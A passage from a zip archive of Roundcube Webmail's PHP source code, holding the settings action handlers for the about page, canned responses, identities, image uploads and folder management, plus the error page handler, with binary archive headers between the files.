                'userprefs'   => [$this, 'user_prefs_form'],
                'sectionname' => [$this, 'prefs_section_name'],
        ]);

        $rcmail->output->send('settingsedit');
    }

    public static function user_prefs_form($attrib)
    {
        $rcmail = rcmail::get_instance();

        // add some labels to client
        $rcmail->output->add_label('nopagesizewarning', 'nosupporterror');

        unset($attrib['form']);

        $hidden = ['name' => '_section', 'value' => self::$section];
        list($form_start, $form_end) = self::get_form_tags($attrib, 'save-prefs', null, $hidden);

        $out = $form_start;

        if (!empty(self::$sections[self::$section]['header'])) {
            $div_attr = ['id' => 'preferences-header', 'class' =>'boxcontent'];
            $out .= html::div($div_attr, self::$sections[self::$section]['header']);
        }

        foreach (self::$sections[self::$section]['blocks'] as $class => $block) {
            if (!empty($block['options'])) {
                $table = new html_table(['cols' => 2]);

                foreach ($block['options'] as $option) {
                    if (isset($option['title'])) {
                        $table->add('title', $option['title']);
                        $table->add(null, $option['content']);
                    }
                    else {
                        $table->add(['colspan' => 2], $option['content']);
                    }
                }

                $out .= html::tag('fieldset', $class, html::tag('legend', null, $block['name']) . $table->show($attrib));
            }
            else if (!empty($block['content'])) {
                $out .= html::tag('fieldset', null, html::tag('legend', null, $block['name']) . $block['content']);
            }
        }

        return $out . $form_end;
    }

    public static function prefs_section_name()
    {
        return self::$sections[self::$section]['section'];
    }
}
PK
h�\�#
e��"program/actions/settings/about.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Display license information about program and enabled plugins       |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_about extends rcmail_action
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $rcmail->output->set_pagetitle($rcmail->gettext('about'));

        $rcmail->output->add_handlers([
                'supportlink' => [$this, 'supportlink'],
                'pluginlist'  => [$this, 'plugins_list'],
                'copyright'   => function() {
                    return 'Copyright &copy; 2005-2022, The Roundcube Dev Team';
                },
                'license' => function() {
                    return 'This program is free software; you can redistribute it and/or modify it under the terms '
                        . 'of the <a href="http://www.gnu.org/licenses/gpl.html" target="_blank">GNU General Public License</a> '
                        . 'as published by the Free Software Foundation, either version 3 of the License, '
                        . 'or (at your option) any later version.<br/>'
                        . 'Some <a href="https://roundcube.net/license" target="_blank">exceptions</a> '
                        . 'for skins &amp; plugins apply.';
                },
        ]);

        $rcmail->output->send('about');
    }

    public static function supportlink($attrib)
    {
        $rcmail = rcmail::get_instance();

        if ($url = $rcmail->config->get('support_url')) {
            $label = !empty($attrib['label']) ? $attrib['label'] : 'support';
            $attrib['href'] = $url;

            return html::a($attrib, $rcmail->gettext($label));
        }
    }

    public static function plugins_list($attrib)
    {
        $rcmail = rcmail::get_instance();

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmpluginlist';
        }

        $plugins     = array_filter($rcmail->plugins->active_plugins);
        $plugin_info = [];

        foreach ($plugins as $name) {
            if ($info = $rcmail->plugins->get_info($name)) {
                $plugin_info[$name] = $info;
            }
        }

        // load info from required plugins, too
        foreach ($plugin_info as $name => $info) {
            if (!empty($info['require']) && is_array($info['require'])) {
                foreach ($info['require'] as $req_name) {
                    if (!isset($plugin_info[$req_name]) && ($req_info = $rcmail->plugins->get_info($req_name))) {
                        $plugin_info[$req_name] = $req_info;
                    }
                }
            }
        }

        if (empty($plugin_info)) {
            return '';
        }

        ksort($plugin_info, SORT_LOCALE_STRING);

        $table = new html_table($attrib);

        // add table header
        $table->add_header('name', $rcmail->gettext('plugin'));
        $table->add_header('version', $rcmail->gettext('version'));
        $table->add_header('license', $rcmail->gettext('license'));
        $table->add_header('source', $rcmail->gettext('source'));

        foreach ($plugin_info as $name => $data) {
            $uri = !empty($data['src_uri']) ? $data['src_uri'] : ($data['uri'] ?? '');
            if ($uri && stripos($uri, 'http') !== 0) {
                $uri = 'http://' . $uri;
            }

            if ($uri) {
                $uri = html::a([
                        'target' => '_blank',
                        'href'   => rcube::Q($uri)
                    ],
                    rcube::Q($rcmail->gettext('download'))
                );
            }

            $license = isset($data['license']) ? $data['license'] : '';

            if (!empty($data['license_uri'])) {
                $license = html::a([
                        'target' => '_blank',
                        'href' => rcube::Q($data['license_uri'])
                    ],
                    rcube::Q($data['license'])
                );
            }
            else {
                $license = rcube::Q($license);
            }

            $table->add_row();
            $table->add('name', rcube::Q(!empty($data['name']) ? $data['name'] : $name));
            $table->add('version', !empty($data['version']) ? rcube::Q($data['version']) : '');
            $table->add('license', $license);
            $table->add('source', $uri);
        }

        return $table->show();
    }
}
PK
h�\�䃍�*program/actions/settings/response_save.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   A handler for saving a canned response record                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_response_save extends rcmail_action_settings_index
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $id      = trim(rcube_utils::get_input_string('_id', rcube_utils::INPUT_POST));
        $name    = trim(rcube_utils::get_input_string('_name', rcube_utils::INPUT_POST));
        $text    = trim(rcube_utils::get_input_string('_text', rcube_utils::INPUT_POST, true));
        $is_html = (bool) rcube_utils::get_input_string('_is_html', rcube_utils::INPUT_POST);

        $response = [
            'id'      => $id,
            'name'    => $name,
            'data'    => $text,
            'is_html' => $is_html,
        ];

        if (!empty($text) && $is_html) {
            // replace uploaded images with data URIs
            $text = self::attach_images($text, 'response');
            // XSS protection in HTML signature (#1489251)
            $text = self::wash_html($text);

            $response['data'] = $text;
        }

        if (empty($name) || empty($text)) {
            // TODO: error
            $rcmail->output->show_message('formincomplete', 'error');
            $rcmail->overwrite_action('edit-response', ['post' => $response]);
            return;
        }

        if (!empty($id) && is_numeric($id)) {
            $plugin   = $rcmail->plugins->exec_hook('response_update', ['id' => $id, 'record' => $response]);
            $response = $plugin['record'];

            if (!$plugin['abort']) {
                $updated = $rcmail->user->update_response($id, $response);
            }
            else {
                $updated = $plugin['result'];
            }

            if ($updated) {
                $rcmail->output->show_message('successfullysaved', 'confirmation');
                $rcmail->output->command('parent.update_response_row', $id, rcube::Q($response['name']));
            }
            else {
                // show error message
                $error = !empty($plugin['message']) ? $plugin['message'] : 'errorsaving';
                $rcmail->output->show_message($error, 'error', null, false);
            }
        }
        else {
            $plugin   = $rcmail->plugins->exec_hook('response_create', ['record' => $response]);
            $response = $plugin['record'];

            if (!$plugin['abort']) {
                $insert_id = $rcmail->user->insert_response($response);
            }
            else {
                $insert_id = $plugin['result'];
            }

            if ($insert_id) {
                $rcmail->output->show_message('successfullysaved', 'confirmation');

                $response['id'] = $_GET['_id'] = $insert_id;

                // add a new row to the list
                $rcmail->output->command('parent.update_response_row', $insert_id, rcube::Q($response['name']), true);
            }
            else {
                $error = !empty($plugin['message']) ? $plugin['message'] : 'errorsaving';
                $rcmail->output->show_message($error, 'error', null, false);
                $rcmail->overwrite_action('add-response');
                return;
            }
        }

        // display the form again
        $rcmail->overwrite_action('edit-response', ['post' => $response]);
    }
}
PK
h�\�l//'program/actions/settings/identities.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Manage identities of a user account                                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_identities extends rcmail_action
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $rcmail->output->set_pagetitle($rcmail->gettext('identities'));
        $rcmail->output->include_script('list.js');
        $rcmail->output->set_env('identities_level', (int) $rcmail->config->get('identities_level', 0));
        $rcmail->output->add_label('deleteidentityconfirm');
        $rcmail->output->add_handlers([
                'identitieslist' => [$this, 'identities_list'],
        ]);

        $rcmail->output->send('identities');
    }

    public static function identities_list($attrib)
    {
        $rcmail = rcmail::get_instance();

        // add id to message list table if not specified
        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmIdentitiesList';
        }

        // get identities list and define 'mail' column
        $list = $rcmail->user->list_emails();
        foreach ($list as $idx => $row) {
            $list[$idx]['mail'] = trim($row['name'] . ' <' . rcube_utils::idn_to_utf8($row['email']) . '>');
        }

        // get all identities from DB and define list of cols to be displayed
        $plugin = $rcmail->plugins->exec_hook('identities_list', [
                'list' => $list,
                'cols' => ['mail']
        ]);

        // @TODO: use <UL> instead of <TABLE> for identities list
        $out = self::table_output($attrib, $plugin['list'], $plugin['cols'], 'identity_id');

        // set client env
        $rcmail->output->add_gui_object('identitieslist', $attrib['id']);

        return $out;
    }
}
PK
h�\�$;\��*program/actions/settings/folder_create.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide functionality to create a folder                            |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_folder_create extends rcmail_action_settings_folder_edit
{
}
PK
h�\�I��#program/actions/settings/upload.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Handles image uploads                                               |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_upload extends rcmail_action
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();
        $from   = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
        $type   = preg_replace('/(add|edit)-/', '', $from);

        // Plugins in Settings may use this file for some uploads (#5694)
        // Make sure it does not contain a dot, which is a special character
        // when using rcube_session::append() below
        $type = str_replace('.', '-', $type);

        // Supported image format types
        $IMAGE_TYPES = explode(',', 'jpeg,jpg,jp2,tiff,tif,bmp,eps,gif,png,png8,png24,png32,svg,ico');

        // clear all stored output properties (like scripts and env vars)
        $rcmail->output->reset();

        $max_size = $rcmail->config->get($type . '_image_size', 64) * 1024;
        $uploadid = rcube_utils::get_input_string('_uploadid', rcube_utils::INPUT_GET);

        if (!empty($_FILES['_file']['tmp_name']) && is_array($_FILES['_file']['tmp_name'])) {
            $multiple = count($_FILES['_file']['tmp_name']) > 1;

            foreach ($_FILES['_file']['tmp_name'] as $i => $filepath) {
                $err        = $_FILES['_file']['error'][$i];
                $imageprop  = null;
                $attachment = null;

                // Process uploaded attachment if there is no error
                if (!$err) {
                    if ($max_size < $_FILES['_file']['size'][$i]) {
                        $err = 'size_error';
                    }
                    // check image file type
                    else {
                        $image     = new rcube_image($filepath);
                        $imageprop = $image->props();

                        if (!in_array(strtolower($imageprop['type']), $IMAGE_TYPES)) {
                            $err = 'type_error';
                        }
                    }
                }

                // save uploaded image in storage backend
                if (!empty($imageprop)) {
                    $attachment = $rcmail->plugins->exec_hook('attachment_upload', [
                        'path'     => $filepath,
                        'size'     => $_FILES['_file']['size'][$i],
                        'name'     => $_FILES['_file']['name'][$i],
                        'mimetype' => 'image/' . $imageprop['type'],
                        'group'    => $type,
                    ]);
                }

                if (!$err && !empty($attachment['status']) && empty($attachment['abort'])) {
                    $id = $attachment['id'];

                    // store new file in session
                    unset($attachment['status'], $attachment['abort']);
                    $rcmail->session->append($type . '.files', $id, $attachment);

                    $content = rcube::Q($attachment['name']);

                    $rcmail->output->command('add2attachment_list', "rcmfile$id", [
                            'html'      => $content,
                            'name'      => $attachment['name'],
                            'mimetype'  => $attachment['mimetype'],
                            'classname' => rcube_utils::file2class($attachment['mimetype'], $attachment['name']),
                            'complete'  => true
                        ],
                        $uploadid
                    );
                }
                else {
                    $error_label = null;
                    if ($err == 'type_error') {
                        $error_label = 'invalidimageformat';
                    }
                    else if ($err == 'size_error') {
                        $error_label = ['name' => 'filesizeerror', 'vars' => ['size' => self::show_bytes($max_size)]];
                    }

                    self::upload_error($err, $attachment, $error_label);
                }
            }
        }
        else if (self::upload_failure()) {
            $rcmail->output->command('remove_from_attachment_list', $uploadid);
        }

        $rcmail->output->send('iframe');
    }
}
PK
h�\�N~�
�
&program/actions/settings/responses.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Listing of canned responses, and quick insert action handler        |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_responses extends rcmail_action_settings_index
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $rcmail->output->set_pagetitle($rcmail->gettext('responses'));
        $rcmail->output->include_script('list.js');
        $rcmail->output->add_label('deleteresponseconfirm');
        $rcmail->output->add_handlers(['responseslist' => [$this, 'responses_list']]);
        $rcmail->output->send('responses');
    }

    /**
     * Create template object 'responseslist'
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML table output
     */
    public static function responses_list($attrib)
    {
        $rcmail = rcmail::get_instance();

        $attrib += ['id' => 'rcmresponseslist', 'tagname' => 'table'];

        $plugin = $rcmail->plugins->exec_hook('responses_list', [
                'list' => $rcmail->get_compose_responses(),
                'cols' => ['name']
        ]);

        $out = self::table_output($attrib, $plugin['list'], $plugin['cols'], 'id');

        $readonly_responses = [];
        foreach ($plugin['list'] as $item) {
            if (!empty($item['static'])) {
                $readonly_responses[] = $item['id'];
            }
        }

        // set client env
        $rcmail->output->add_gui_object('responseslist', $attrib['id']);
        $rcmail->output->set_env('readonly_responses', $readonly_responses);

        return $out;
    }
}
PK
h�\�Rs˕�(program/actions/settings/folder_size.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide functionality of getting folder size                        |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_folder_size extends rcmail_action
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail  = rcmail::get_instance();
        $storage = $rcmail->get_storage();
        $name    = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST, true);

        $size = $storage->folder_size($name);

        // @TODO: check quota and show percentage usage of specified mailbox?

        if ($size !== false) {
            $rcmail->output->command('folder_size_update', self::show_bytes($size));
        }
        else {
            self::display_server_error();
        }

        $rcmail->output->send();
    }
}
PK
h�\_1�F��,program/actions/settings/identity_delete.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   A handler for identity delete action                                |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_identity_delete extends rcmail_action
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail  = rcmail::get_instance();
        $iid     = rcube_utils::get_input_string('_iid', rcube_utils::INPUT_POST);
        $deleted = 0;

        if ($iid && preg_match('/^[0-9]+(,[0-9]+)*$/', $iid)) {
            $plugin = $rcmail->plugins->exec_hook('identity_delete', ['id' => $iid]);

            $deleted = !$plugin['abort'] ? $rcmail->user->delete_identity($iid) : $plugin['result'];
        }

        if ($deleted > 0 && $deleted !== false) {
            $rcmail->output->show_message('deletedsuccessfully', 'confirmation', null, false);
            $rcmail->output->command('remove_identity', $iid);
        }
        else {
            $msg = !empty($plugin['message']) ? $plugin['message'] : ($deleted < 0 ? 'nodeletelastidentity' : 'errorsaving');
            $rcmail->output->show_message($msg, 'error', null, false);
        }

        $rcmail->output->send();
    }
}
PK
h�\�o�!��+program/actions/settings/upload_display.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Displaying uploaded images                                          |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_upload_display extends rcmail_action
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
        $type = preg_replace('/(add|edit)-/', '', $from);

        // Plugins in Settings may use this file for some uploads (#5694)
        // Make sure it does not contain a dot, which is a special character
        // when using rcube_session::append() below
        $type = str_replace('.', '-', $type);

        $id = 'undefined';

        if (preg_match('/^rcmfile(\w+)$/', $_GET['_file'], $regs)) {
            $id = $regs[1];
        }

        self::display_uploaded_file($_SESSION[$type]['files'][$id]);

        exit;
    }
}
PK
h�\�ާ#H
H
*program/actions/settings/folder_delete.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide functionality to delete a folder                            |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_folder_delete extends rcmail_action
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail  = rcmail::get_instance();
        $storage = $rcmail->get_storage();
        $mbox    = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST, true);

        if (strlen($mbox)) {
            $plugin = $rcmail->plugins->exec_hook('folder_delete', ['name' => $mbox]);

            if (empty($plugin['abort'])) {
                $deleted = $storage->delete_folder($plugin['name']);
            }
            else {
                $deleted = $plugin['result'];
            }

            // #1488692: update session
            if ($deleted && isset($_SESSION['mbox']) && $_SESSION['mbox'] === $mbox) {
                $rcmail->session->remove('mbox');
            }
        }

        if (!empty($deleted)) {
            // Remove folder and subfolders rows
            $rcmail->output->command('remove_folder_row', $mbox);
            $rcmail->output->show_message('folderdeleted', 'confirmation');
            // Clear content frame
            $rcmail->output->command('subscription_select');
            $rcmail->output->command('set_quota', self::quota_content());
        }
        else {
            self::display_server_error('errorsaving');
        }

        $rcmail->output->send();
    }
}
PK
h�\0%����/program/actions/settings/folder_unsubscribe.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Handler for folder unsubscribe action                               |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_folder_unsubscribe extends rcmail_action
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail  = rcmail::get_instance();
        $storage = $rcmail->get_storage();
        $mbox    = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST, true);

        if (strlen($mbox)) {
            $result = $storage->unsubscribe([$mbox]);
        }

        if (!empty($result)) {
            $rcmail->output->show_message('folderunsubscribed', 'confirmation');
        }
        else {
            self::display_server_error('errorsaving');
            $rcmail->output->command('reset_subscription', $mbox, true);
        }

        $rcmail->output->send();
    }
}
PK
h�\���-B	B	)program/actions/settings/response_get.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   A handler for fetching a canned response content                    |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_response_get extends rcmail_action
{
    static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $id = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GET);

        if ($id && ($response = $rcmail->get_compose_response($id))) {
            $is_html = (bool) rcube_utils::get_input_string('_is_html', rcube_utils::INPUT_GET);

            if ($is_html && empty($response['is_html'])) {
                $converter = new rcube_text2html($response['data'], false, ['wrap' => true]);

                $response['data'] = $converter->get_html();
                $response['is_html'] = true;
            }
            else if (!$is_html && !empty($response['is_html'])) {
                $params = [
                    'width' => $rcmail->config->get('line_length', 72),
                    'links' => false,
                ];

                $response['data'] = $rcmail->html2text($response['data'], $params);
                $response['is_html'] = false;
            }

            $rcmail->output->command('insert_response', $response);
        }

        $rcmail->output->send();
    }
}
PK
h�\�a��program/actions/utils/error.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Display error message page                                          |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_utils_error extends rcmail_action
{
    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $ERROR_CODE    = !empty($args['code']) ? $args['code'] : 500;
        $ERROR_MESSAGE = !empty($args['message']) ? $args['message'] : null;

        // authorization error
        if ($ERROR_CODE == 401) {
            $error_title = $rcmail->gettext('errauthorizationfailed');
            $error_text  = nl2br($rcmail->gettext('errunauthorizedexplain')
                . "\n" . $rcmail->gettext('errcontactserveradmin'));
        }
        // forbidden due to request check
        else if ($ERROR_CODE == 403) {
            if ($_SERVER['REQUEST_METHOD'] == 'GET' && $rcmail->request_status == rcube::REQUEST_ERROR_URL) {
                $url = $rcmail->url($_GET, true, false, true);
                $add = html::a($url, $rcmail->gettext('clicktoresumesession'));
            }
            else {
                $add = $rcmail->gettext('errcontactserveradmin');
            }

            $error_title = $rcmail->gettext('errrequestcheckfailed');
            $error_text  = nl2br($rcmail->gettext('errcsrfprotectionexplain')) . '<p>' . $add . '</p>';
        }
        // failed request (wrong step in URL)
        else if ($ERROR_CODE == 404) {
            $request_url = htmlentities($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
            $error_title = $rcmail->gettext('errnotfound');
            $error_text  = nl2br($rcmail->gettext('errnotfoundexplain')
                . "\n" . $rcmail->gettext('errcontactserveradmin'));

            $error_text .= '<p><i>' . $rcmail->gettext('errfailedrequest') . ": $request_url</i></p>";
        }
        // Gone, e.g. message cached but not in the storage
        else if ($ERROR_CODE == 410) {
            $error_title = $rcmail->gettext('servererror');
            $error_text  = $rcmail->gettext('messageopenerror');
        }
        // invalid compose ID
        else if ($ERROR_CODE == 450 && $_SERVER['REQUEST_METHOD'] == 'GET' && $rcmail->action == 'compose') {
            $url = $rcmail->url('compose');

            $error_title = $rcmail->gettext('errcomposesession');
            $error_text  = nl2br($rcmail->gettext('errcomposesessionexplain'))
                . '<p>' . html::a($url, $rcmail->gettext('clicktocompose')) . '</p>';
        }
        // database connection error
        else if ($ERROR_CODE == 601) {
            $error_title = "Configuration error";
            $error_text  =  nl2br($ERROR_MESSAGE) . "<br />Please read the INSTALL instructions!";
        }
        // database connection error
        else if ($ERROR_CODE == 603) {
            $error_title = $rcmail->gettext('dberror');
            $error_text  = nl2br($rcmail->gettext('dbconnerror') . "\n" . $rcmail->gettext('errcontactserveradmin'));
        }
        // system error
        else {
            $error_title = $rcmail->gettext('servererror');
            $error_text  = sprintf('Error No. [%s]', $ERROR_CODE);
        }

        // inform plugins
        if ($rcmail->plugins) {
            $plugin = $rcmail->plugins->exec_hook('error_page', [
                    'code'  => $ERROR_CODE,
                    'title' => $error_title,
                    'text'  => $error_text,
            ]);

            if (!empty($plugin['title'])) {
                $error_title = $plugin['title'];
            }
            if (!empty($plugin['text'])) {
                $error_text = $plugin['text'];
            }
        }

        $HTTP_ERR_CODE = $ERROR_CODE && $ERROR_CODE < 600 ? $ERROR_CODE : 500;

        // Ajax request
        if ($rcmail->output && $rcmail->output->type == 'js') {
            $rcmail->output->sendExit('', ["HTTP/1.0 $HTTP_ERR_CODE $error_title"]);
        }

        // compose page content
        $page_content = '<div class="boxerror">'
            .'<h3 class="error-title">' . mb_strtoupper($error_title) . '</h3>'
            .'<div class="error-text">' . $error_text . '</div>'
            .'</div>';

        if ($rcmail->output && $rcmail->output->template_exists('error')) {
            $GLOBALS['__page_content'] = $page_content;

            $task = empty($rcmail->user) || empty($rcmail->user->ID) ? '-login' : '';

            $rcmail->output->reset();
            $rcmail->output->set_env('error_task', 'error' . $task);
            $rcmail->output->set_env('server_error', $ERROR_CODE);
            $rcmail->output->set_env('comm_path', $rcmail->comm_path);
            $rcmail->output->send('error');
        }

        $skin    = $rcmail->config->get('skin', 'default');
        $product = $rcmail->config->get('product_name', 'Roundcube Webmail');

        $output = '<!doctype html><html><head>'
            . '<title>' . $product . ':: ERROR</title>'
            . '</head><body>'
            . '<table border="0" cellspacing="0" cellpadding="0" width="100%" height="80%">'
            . '<tr><td align="center">' . $page_content . '</td></tr>'
            . '</table>'
            . '</body></html>';

        $rcmail->output->sendExit($output);
    }
}
PK
h�\n�NN$program/actions/utils/spell_html.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Spellchecker for TinyMCE                                            |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_utils_spell_html extends rcmail_action
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();
